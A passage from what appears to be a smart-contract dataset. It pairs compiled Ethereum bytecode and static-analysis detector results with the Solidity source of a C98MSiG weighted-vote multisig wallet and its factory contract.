81526004016105a390611410565b610a6f818b610d20565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b2e5760405162461bcd60e51b81526004016105a39190611377565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b6d5760405162461bcd60e51b81526004016105a39190611377565b505050900390565b6001600160a01b038316610b9b5760405162461bcd60e51b81526004016105a39061153c565b6001600160a01b038216610bc15760405162461bcd60e51b81526004016105a3906114df565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610c0c936001600160601b03909216928592919061160690830139610b36565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c7494919091169285929091906116e390830139610dae565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce19085906115d7565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610d1b92918216911683610dea565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610da4828483610dea565b50505050565b4690565b6000838301826001600160601b038087169083161015610de15760405162461bcd60e51b81526004016105a39190611377565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e1557506000816001600160601b0316115b15610d1b576001600160a01b03831615610ecd576001600160a01b03831660009081526004602052604081205463ffffffff169081610e55576000610e94565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610ebb82856040518060600160405280602881526020016116bb60289139610b36565b9050610ec986848484610f78565b5050505b6001600160a01b03821615610d1b576001600160a01b03821660009081526004602052604081205463ffffffff169081610f08576000610f47565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f6e828560405180606001604052806027815260200161175060279139610dae565b9050610a74858484845b6000610f9c436040518060600160405280603481526020016116876034913961112d565b905060008463ffffffff16118015610fe557506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611044576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110e3565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161111e9291906115eb565b60405180910390a25050505050565b600081600160201b8410610b2e5760405162461bcd60e51b81526004016105a39190611377565b604080518082019091526000808252602082015290565b80356001600160a01b038116811461057d57600080fd5b600060208284031215611193578081fd5b6108728261116b565b600080604083850312156111ae578081fd5b6111b78361116b565b91506111c56020840161116b565b90509250929050565b6000806000606084860312156111e2578081fd5b6111eb8461116b565b92506111f96020850161116b565b9150604084013590509250925092565b6000806040838503121561121b578182fd5b6112248361116b565b946020939093013593505050565b60008060008060008060c0878903121561124a578182fd5b6112538761116b565b95506020870135945060408701359350606087013560ff81168114611276578283fd5b9598949750929560808101359460a0909101359350915050565b600080604083850312156112a2578182fd5b6112ab8361116b565b9150602083013563ffffffff811681146112c3578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156113a357858101830151858201604001528201611387565b818111156113b45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369676040820152656e617475726560d01b606082015260800190565b60208082526026908201527f436f6d703a3a64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b60208082526027908201527f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b60208082526022908201527f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b6020808252603a908201527f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b039283168152911660208201526040019056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a26469706673582212204aeb2107c58a8a7c18af67cc409613e26fedebe7b9b0aaa2e86db60c69b9f64964736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,662 |
0x8c9833d36cdfe2fc3a11acab47ee9c33194dd78d | // SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.6.0 <0.8.0;
interface MSiG {
function owners() external view returns (address[] memory addresses, uint256[] memory vPowers);
function request() external view returns (address destination, uint256 value, bytes memory data);
function requestProgress() external view returns (uint32 requestId, uint64 timestamp, uint16 currentVote, uint16 requiredVote);
function voteRequirement() external view returns (uint16 requiredVote, uint16 totalVote);
function hasVoted(address owner) external view returns (bool voted, uint16 vPower);
function createRequest(address destination, uint256 value, bytes memory data) external returns (bool);
function vote() external returns (bool);
function cancelRequest() external returns (bool);
function changeOwners(address[] memory nOwners, uint16[] memory vPowers, uint16 vRate) external returns (bool);
event Requested(uint256 requestId, address indexed destination, uint256 value, bytes data, uint16 currentVote, uint16 requiredVote);
event Voted(address owner, uint256 requestId, uint16 currentVote, uint16 requiredVote);
event Executed(bool status, uint256 requestId, address indexed destination, uint256 value, bytes data);
event Cancelled(uint256 requestId);
event OwnersChanged(address[] owners, uint16 requireVote, uint16 totalVote);
event Deposited(address indexed sender, uint256 value);
}
contract C98MSiG is MSiG {
address[] private _owners;
mapping(address => uint16) private _votePowers;
VoteRequirement private _voteRequirement;
uint32 private _requestId;
Request private _request;
mapping(address => uint32) private _votes;
VoteProgress private _voteProgress;
/// @dev Initialize wallet, with a list of initial owners
/// @param owners_ Array of owners's address
/// @param vPowers_ Array of voting weight of the owners, owner with vPower == 0 will be ignored
/// @param requiredVote_ Number of votes needed to execute the request
constructor(address[] memory owners_, uint16[] memory vPowers_, uint16 requiredVote_) {
_changeOwners(owners_, vPowers_, requiredVote_);
}
// Data structure to store information of a request
struct Request {
address destination;
uint256 value;
bytes data;
}
// Data structure to store information for the vote of current request
struct VoteProgress {
uint32 requestId;
uint64 timestamp;
uint16 currentVote;
uint16 requiredVote;
}
// Data structure to store information about voting weight
struct VoteRequirement {
uint16 requiredVote;
uint16 totalVote;
}
modifier selfOnly() {
require(msg.sender == address(this), "C98MSiG: Wallet only");
_;
}
modifier isOwner(address owner) {
require(_votePowers[owner] > 0, "C98MSiG: Not an owner");
_;
}
modifier notOwner(address owner) {
require(_votePowers[owner] == 0, "C98MSiG: Already an owner");
_;
}
modifier validVotingPower(uint256 vPower) {
require(vPower > 0, "C98MSiG: Invalid vote weight");
_;
}
fallback() external payable {
if (msg.value > 0) {
emit Deposited(msg.sender, msg.value);
}
}
/// @dev enable wallet to receive ETH
receive() external payable {
if (msg.value > 0) {
emit Deposited(msg.sender, msg.value);
}
}
/// @dev return list of currents owners and their respective voting weight
/// @return addresses List of owners's address
/// @return vPowers List of owner's voting weight
function owners() external view override returns (address[] memory addresses, uint256[] memory vPowers) {
uint256[] memory values = new uint256[](_owners.length);
uint256 i;
for (i = 0; i < _owners.length; i++) {
values[i] = (_votePowers[_owners[i]]);
}
return (_owners, values);
}
/// @dev Return current request information
/// @return destination destination address of the recipient to interface with (address/contract...)
/// @return value value of ETH to send
/// @return data data data of the function call in ABI encoded format
function request() external view override returns (address destination, uint256 value, bytes memory data) {
Request memory req = _request;
return (req.destination, req.value, req.data);
}
/// @dev Return current number of votes vs required number of votes to execute request
/// @return requestId ID of current request
/// @return timestamp Timestamp when the request is created
/// @return currentVote Number of votes for current request
/// @return requiredVote Required number of votes to execute current request
function requestProgress() external view override returns (uint32 requestId, uint64 timestamp, uint16 currentVote, uint16 requiredVote) {
VoteProgress memory progress = _voteProgress;
return (progress.requestId, progress.timestamp, progress.currentVote, progress.requiredVote);
}
/// @dev Return required number of votes vs total number of votes of all owners
/// @return requiredVote Required number of votes to execute request
/// @return totalVote Total number of votes of all owners
function voteRequirement() external view override returns (uint16 requiredVote, uint16 totalVote) {
VoteRequirement memory requirement = _voteRequirement;
return (requirement.requiredVote, requirement.totalVote);
}
/// @dev Check whether a owner has voted
/// @return voted user's voting status
/// @return vPower voting weight of owner
function hasVoted(address owner) external view override returns (bool voted, uint16 vPower) {
VoteProgress memory progress = _voteProgress;
uint16 power = _votePowers[owner];
if (progress.requestId == 0) {
return (false, power);
}
return (progress.requestId == _votes[owner], power);
}
/// @dev Submit a new request for voting, the owner submitting request will count as voted.
/// @param destination address of the recipient to interface with (address/contract...)
/// @param value of ETH to send
/// @param data data of the function call in ABI encoded format
function createRequest(address destination, uint256 value, bytes memory data)
isOwner(msg.sender)
external override returns (bool) {
VoteProgress memory progress = _voteProgress;
require(progress.requestId == 0, "C98MSiG: Request pending");
Request memory req;
req.destination = destination;
req.value = value;
req.data = data;
progress.requestId = _requestId + 1;
progress.timestamp = uint64(block.timestamp);
progress.requiredVote = _voteRequirement.requiredVote;
_request = req;
_requestId = progress.requestId;
_voteProgress = progress;
vote();
emit Requested(progress.requestId, req.destination, req.value, req.data, progress.currentVote, progress.requiredVote);
return true;
}
/// @dev Owner vote for the current request. Then execute the request if enough votes
function vote()
isOwner(msg.sender)
public override returns (bool) {
VoteProgress memory progress = _voteProgress;
require(progress.requestId > 0, "C98MSiG: No pending request");
if (_votes[msg.sender] < progress.requestId) {
_votes[msg.sender] = progress.requestId;
progress.currentVote += _votePowers[msg.sender];
_voteProgress = progress;
emit Voted(msg.sender, progress.requestId, progress.currentVote, progress.requiredVote);
}
if (progress.currentVote >= progress.requiredVote) {
Request memory req = _request;
(bool success,) = req.destination.call{value: req.value}(req.data);
if (success) {
delete _request;
delete _voteProgress;
Executed(true, progress.requestId, req.destination, req.value, req.data);
}
else {
Executed(false, progress.requestId, req.destination, req.value, req.data);
}
}
return true;
}
/// @dev Cancel current request. Throw error if request does not exist
function cancelRequest()
isOwner(msg.sender)
external override returns (bool) {
VoteProgress memory progress = _voteProgress;
require(progress.requestId > 0, "C98MSiG: No pending request");
require(block.timestamp - progress.timestamp > 600, "C98MSiG: 10 mins not passed");
delete _request;
delete _voteProgress;
emit Cancelled(progress.requestId);
return true;
}
/// @dev Add/remove/change owner, with their respective voting weight,
/// and number of votes needed to perform the request
/// @param nOwners Array of owners' address that need to change
/// @param vPowers Array of voting weight of the nOwners, vPower == 0 will remove the respective user
/// @param vRate New number of required votes to perform the request. vRate == 0 will keep the current number of required votes
function changeOwners(address[] memory nOwners, uint16[] memory vPowers, uint16 vRate)
selfOnly()
external override returns (bool) {
_changeOwners(nOwners, vPowers, vRate);
return true;
}
function _changeOwners(address[] memory nOwners, uint16[] memory vPowers, uint16 vRate) internal {
VoteRequirement memory requirement = _voteRequirement;
uint256 i;
for (i = 0; i < nOwners.length; i++) {
address nOwner = nOwners[i];
uint16 cPower = _votePowers[nOwner];
uint16 vPower = vPowers[i];
require(vPower <= 256, "C98MSiG: Invalid vRate");
if (cPower > 0) {
if (vPower == 0) {
uint256 j;
for(j = 0; j < _owners.length; j++) {
if (_owners[j] == nOwner) {
_owners[j] = _owners[_owners.length - 1];
_owners.pop();
delete _votes[nOwner];
break;
}
}
}
requirement.totalVote -= cPower;
}
else {
if (vPower > 0) {
_owners.push(nOwner);
}
}
_votePowers[nOwner] = vPower;
requirement.totalVote += vPower;
}
if (vRate > 0) {
requirement.requiredVote = vRate;
}
uint256 ownerCount = _owners.length;
require(requirement.requiredVote > 0, "C98MSiG: Invalid vRate");
require(requirement.requiredVote <= requirement.totalVote, "C98MSiG: Invalid vRate");
require(requirement.totalVote <= 4096, "C98MSiG: Max weight reached");
require(ownerCount > 0, "C98MSiG: At least 1 owner");
require(ownerCount <= 64, "C98MSiG: Max owner reached");
_voteRequirement = requirement;
OwnersChanged(nOwners, requirement.requiredVote, requirement.totalVote);
}
}
contract C98MSiGFactory {
event Created(address indexed wallet, address[] owners);
/// @dev Create a new multisig wallet
/// @param owners_ Array of intial owners. If the list is empty, sending adress will be assigned as owner
/// @param vPowers_ Array of voting weight of the owners, owner with vPower == 0 will be ignored
/// @param requiredVote_ Number of votes needed to perform the request
function createMulitSig(address[] memory owners_, uint16[] memory vPowers_, uint16 requiredVote_)
external returns (C98MSiG wallet) {
wallet = new C98MSiG(owners_, vPowers_, requiredVote_);
emit Created(address(wallet), owners_);
}
} | 0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80636c7321a614610030575b600080fd5b6101886004803603606081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184602083028401116401000000008311171561009757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156100f757600080fd5b82018360208201111561010957600080fd5b8035906020019184602083028401116401000000008311171561012b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803561ffff1690602001909291905050506101b4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008383836040516101c590610318565b8080602001806020018461ffff168152602001838103835286818151815260200191508051906020019060200280838360005b838110156102135780820151818401526020810190506101f8565b50505050905001838103825285818151815260200191508051906020019060200280838360005b8381101561025557808201518184015260208101905061023a565b5050505090500195505050505050604051809103906000f08015801561027f573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff167f694787aac3734be7a6541fa310452f9fafdbf616beacf2c5ceb0f89f92873489856040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102fe5780820151818401526020810190506102e3565b505050509050019250505060405180910390a29392505050565b6130b980620003278339019056fe60806040523480156200001157600080fd5b50604051620030b9380380620030b9833981810160405260608110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b838201915060208201858111156200006f57600080fd5b82518660208202830111640100000000821117156200008d57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015620000c6578082015181840152602081019050620000a9565b5050505090500160405260200180516040519392919084640100000000821115620000f057600080fd5b838201915060208201858111156200010757600080fd5b82518660208202830111640100000000821117156200012557600080fd5b8083526020830192505050908051906020019060200280838360005b838110156200015e57808201518184015260208101905062000141565b50505050905001604052602001805190602001909291905050506200018b8383836200019460201b60201c565b50505062000975565b600060026040518060400160405290816000820160009054906101000a900461ffff1661ffff1661ffff1681526020016000820160029054906101000a900461ffff1661ffff1661ffff1681525050905060005b8451811015620005e55760008582815181106200020157fe5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff16905060008684815181106200026c57fe5b602002602001015190506101008161ffff161115620002f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4339384d5369473a20496e76616c69642076526174650000000000000000000081525060200191505060405180910390fd5b60008261ffff161115620004ed5760008161ffff161415620004cd5760005b600080549050811015620004cb578373ffffffffffffffffffffffffffffffffffffffff16600082815481106200034557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415620004bd57600060016000805490500381548110620003a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008281548110620003dc57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054806200043057fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549063ffffffff0219169055620004cb565b808060010191505062000312565b505b81856020018181510391509061ffff16908161ffff168152505062000560565b60008161ffff1611156200055f576000839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548161ffff021916908361ffff16021790555080856020018181510191509061ffff16908161ffff16815250505050508080600101915050620001e8565b60008361ffff161115620006085782826000019061ffff16908161ffff16815250505b6000808054905090506000836000015161ffff161162000690576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4339384d5369473a20496e76616c69642076526174650000000000000000000081525060200191505060405180910390fd5b826020015161ffff16836000015161ffff16111562000717576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4339384d5369473a20496e76616c69642076526174650000000000000000000081525060200191505060405180910390fd5b611000836020015161ffff16111562000798576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4339384d5369473a204d6178207765696768742072656163686564000000000081525060200191505060405180910390fd5b600081116200080f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4339384d5369473a204174206c656173742031206f776e65720000000000000081525060200191505060405180910390fd5b604081111562000887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4339384d5369473a204d6178206f776e6572207265616368656400000000000081525060200191505060405180910390fd5b82600260008201518160000160006101000a81548161ffff021916908361ffff16021790555060208201518160000160026101000a81548161ffff021916908361ffff1602179055509050507f04eba5651eb98f2aa06a6942c0ef7f74b486ed22c9bdaf1c312e73305381ca46868460000151856020015160405180806020018461ffff1681526020018361ffff168152602001828103825285818151815260200191508051906020019060200280838360005b83811015620009585780820151818401526020810190506200093b565b5050505090500194505050505060405180910390a1505050505050565b61273480620009856000396000f3fe60806040526004361061008a5760003560e01c8063851b16f511610059578063851b16f5146102d0578063951951df146102fd578063a75a62fc14610355578063affe39c1146104d2578063f7347c2914610586576100e9565b806309eef43e14610143578063338cdca1146101b55780634997bc5114610269578063632a9a52146102a3576100e9565b366100e95760003411156100e7573373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4346040518082815260200191505060405180910390a25b005b6000341115610141573373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4346040518082815260200191505060405180910390a25b005b34801561014f57600080fd5b506101926004803603602081101561016657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061068e565b6040518083151581526020018261ffff1681526020019250505060405180910390f35b3480156101c157600080fd5b506101ca61081c565b604051808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561022c578082015181840152602081019050610211565b50505050905090810190601f1680156102595780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561027557600080fd5b5061027e61094f565b604051808361ffff1681526020018261ffff1681526020019250505060405180910390f35b3480156102af57600080fd5b506102b86109b6565b60405180821515815260200191505060405180910390f35b3480156102dc57600080fd5b506102e561126f565b60405180821515815260200191505060405180910390f35b34801561030957600080fd5b506103126115d8565b604051808563ffffffff1681526020018467ffffffffffffffff1681526020018361ffff1681526020018261ffff16815260200194505050505060405180910390f35b34801561036157600080fd5b506104ba6004803603606081101561037857600080fd5b810190808035906020019064010000000081111561039557600080fd5b8201836020820111156103a757600080fd5b803590602001918460208302840111640100000000831117156103c957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561042957600080fd5b82018360208201111561043b57600080fd5b8035906020019184602083028401116401000000008311171561045d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803561ffff1690602001909291905050506116aa565b60405180821515815260200191505060405180910390f35b3480156104de57600080fd5b506104e7611763565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561052e578082015181840152602081019050610513565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610570578082015181840152602081019050610555565b5050505090500194505050505060405180910390f35b34801561059257600080fd5b50610676600480360360608110156105a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f057600080fd5b82018360208201111561060257600080fd5b8035906020019184600183028401116401000000008311171561062457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611907565b60405180821515815260200191505060405180910390f35b600080600060086040518060800160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201600c9054906101000a900461ffff1661ffff1661ffff16815260200160008201600e9054906101000a900461ffff1661ffff1661ffff168152505090506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1690506000826000015163ffffffff1614156107ad57600081935093505050610817565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff16826000015163ffffffff1614819350935050505b915091565b6000806060600060046040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109295780601f106108fe57610100808354040283529160200191610929565b820191906000526020600020905b81548152906001019060200180831161090c57829003601f168201915b505050505081525050905080600001518160200151826040015193509350935050909192565b600080600060026040518060400160405290816000820160009054906101000a900461ffff1661ffff1661ffff1681526020016000820160029054906101000a900461ffff1661ffff1661ffff168152505090508060000151816020015192509250509091565b6000336000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff1611610a80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4339384d5369473a204e6f7420616e206f776e6572000000000000000000000081525060200191505060405180910390fd5b600060086040518060800160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201600c9054906101000a900461ffff1661ffff1661ffff16815260200160008201600e9054906101000a900461ffff1661ffff1661ffff168152505090506000816000015163ffffffff1611610ba9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4339384d5369473a204e6f2070656e64696e672072657175657374000000000081525060200191505060405180910390fd5b806000015163ffffffff16600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff161015610dfb578060000151600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff160217905550600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff16816040018181510191509061ffff16908161ffff168152505080600860008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550604082015181600001600c6101000a81548161ffff021916908361ffff160217905550606082015181600001600e6101000a81548161ffff021916908361ffff1602179055509050507fb62dce311d7c82a5291a71ec8f2ce830fc6c1840dc13838a1a80baf7ba186b4133826000015183604001518460600151604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018463ffffffff1681526020018361ffff1681526020018261ffff16815260200194505050505060405180910390a15b806060015161ffff16816040015161ffff161061126657600060046040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f1a5780601f10610eef57610100808354040283529160200191610f1a565b820191906000526020600020905b815481529060010190602001808311610efd57829003601f168201915b50505050508152505090506000816000015173ffffffffffffffffffffffffffffffffffffffff16826020015183604001516040518082805190602001908083835b60208310610f7f5780518252602082019150602081019050602083039250610f5c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610fe1576040519150601f19603f3d011682016040523d82523d6000602084013e610fe6565b606091505b50509050801561117e576004600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600061103291906125d4565b50506008600080820160006101000a81549063ffffffff02191690556000820160046101000a81549067ffffffffffffffff021916905560008201600c6101000a81549061ffff021916905560008201600e6101000a81549061ffff02191690555050816000015173ffffffffffffffffffffffffffffffffffffffff167f2268409823affbdd3dbec26ea823bbd3c95337526dbbb844cee8f3d4b1787ec860018560000151856020015186604001516040518085151581526020018463ffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561113c578082015181840152602081019050611121565b50505050905090810190601f1680156111695780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a2611263565b816000015173ffffffffffffffffffffffffffffffffffffffff167f2268409823affbdd3dbec26ea823bbd3c95337526dbbb844cee8f3d4b1787ec860008560000151856020015186604001516040518085151581526020018463ffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561122557808201518184015260208101905061120a565b50505050905090810190601f1680156112525780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a25b50505b60019250505090565b6000336000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff1611611339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4339384d5369473a204e6f7420616e206f776e6572000000000000000000000081525060200191505060405180910390fd5b600060086040518060800160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201600c9054906101000a900461ffff1661ffff1661ffff16815260200160008201600e9054906101000a900461ffff1661ffff1661ffff168152505090506000816000015163ffffffff1611611462576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4339384d5369473a204e6f2070656e64696e672072657175657374000000000081525060200191505060405180910390fd5b610258816020015167ffffffffffffffff164203116114e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4339384d5369473a203130206d696e73206e6f7420706173736564000000000081525060200191505060405180910390fd5b6004600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600061152b91906125d4565b50506008600080820160006101000a81549063ffffffff02191690556000820160046101000a81549067ffffffffffffffff021916905560008201600c6101000a81549061ffff021916905560008201600e6101000a81549061ffff021916905550507fc41d93b8bfbf9fd7cf5bfe271fd649ab6a6fec0ea101c23b82a2a28eca2533a98160000151604051808263ffffffff16815260200191505060405180910390a160019250505090565b600080600080600060086040518060800160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201600c9054906101000a900461ffff1661ffff1661ffff16815260200160008201600e9054906101000a900461ffff1661ffff1661ffff16815250509050806000015181602001518260400151836060015194509450945094505090919293565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461174d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4339384d5369473a2057616c6c6574206f6e6c7900000000000000000000000081525060200191505060405180910390fd5b611758848484611e0c565b600190509392505050565b6060806000808054905067ffffffffffffffff8111801561178357600080fd5b506040519080825280602002602001820160405280156117b25781602001602082028036833780820191505090505b50905060005b60008054905081101561187257600160008083815481106117d557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054